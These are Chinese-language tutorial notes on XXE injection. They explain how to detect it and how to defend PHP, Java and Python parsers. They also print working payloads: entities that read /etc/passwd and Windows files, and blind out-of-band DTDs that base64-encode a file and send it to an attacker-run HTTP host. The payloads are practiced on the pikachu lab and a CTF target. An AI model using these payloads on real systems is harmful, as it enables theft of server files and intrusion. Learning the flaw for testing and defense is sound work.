XXE漏洞
- XML:
- XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
- XXE( XML External Entity 外部实体注入,只能读服务器文件,但是执行不了系统命令):
- XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php(php<7.0),libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。;
- 测试语句(读取C盘下面的某个文件):
- <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>
- 详解:
- 白盒:
- 查看代码里面是否使用了LoadXML( )函数
- 黑盒(https://www.cnblogs.com/mysticbinary/p/12668547.html):
- 抓包看响应体是否存在xml,accept头是否接受xml(附录:CTF xxe实战地址:http://web.jarvisoj.com:9882/ )
- 修改type类型,编写xml脚本,可以读取敏感信息文件:
- <?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
- 看到url文件名是否 .ashx后缀扩展名
- 抓包修改数据类型,把json改成xml来传输数据
- 抓包看响应体是否存在xml,accept头是否接受xml(附录:CTF xxe实战地址:http://web.jarvisoj.com:9882/ )
- 防御:
- 升级php版本
- 修改代码:
- php:libxml_disable_entity_loader设置为true
- JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false); - Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤关键词:
- <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
- XXE漏洞的危害:
- 读取任意文件
- 攻击内网网站
- 攻击内网网站
- 执行系统命令
- XXE攻击
- 有回显(有输出)
- 无回显(屏蔽输出,自己搭建vps,使用apache日志文件读取文件 | 无回显都可以使用dnslog)
- 原理:
- 建立*.dtd 文件,然后xml调用
- test.dtd文件:<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file;'>"> //内部的%号要进行实体编码成% - xml调用:<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
- test.dtd文件:<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
- 实战(使用到file、php、http协议):
- 复制一台虚拟主机,更改主机名 进行XXE无回显实验,apache开启日志文件
- 建立*.dtd文件,放到网站根目录:
- <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.88.9:91/?p=%file;'>"> - 火狐执行:
- <!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.88.9:91/xxe2/test.dtd">
%remote;%int;%send;
]> - 查看日志文件,通过base64解码即可得到文件内容:
- pikachu XXE漏洞平台实战:
- 查看实验环境,添加phpinfo,查看libxml版本:
- 构建payload读取c盘内容:<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>
- 构建php xml脚本:
- 火狐访问这个脚本(post提交)
- 构建读取配置文件脚本,利用file协议读取文件内容:
-
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe "oldboyedu.com">]> <foo>&xxe;</foo>
- <!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>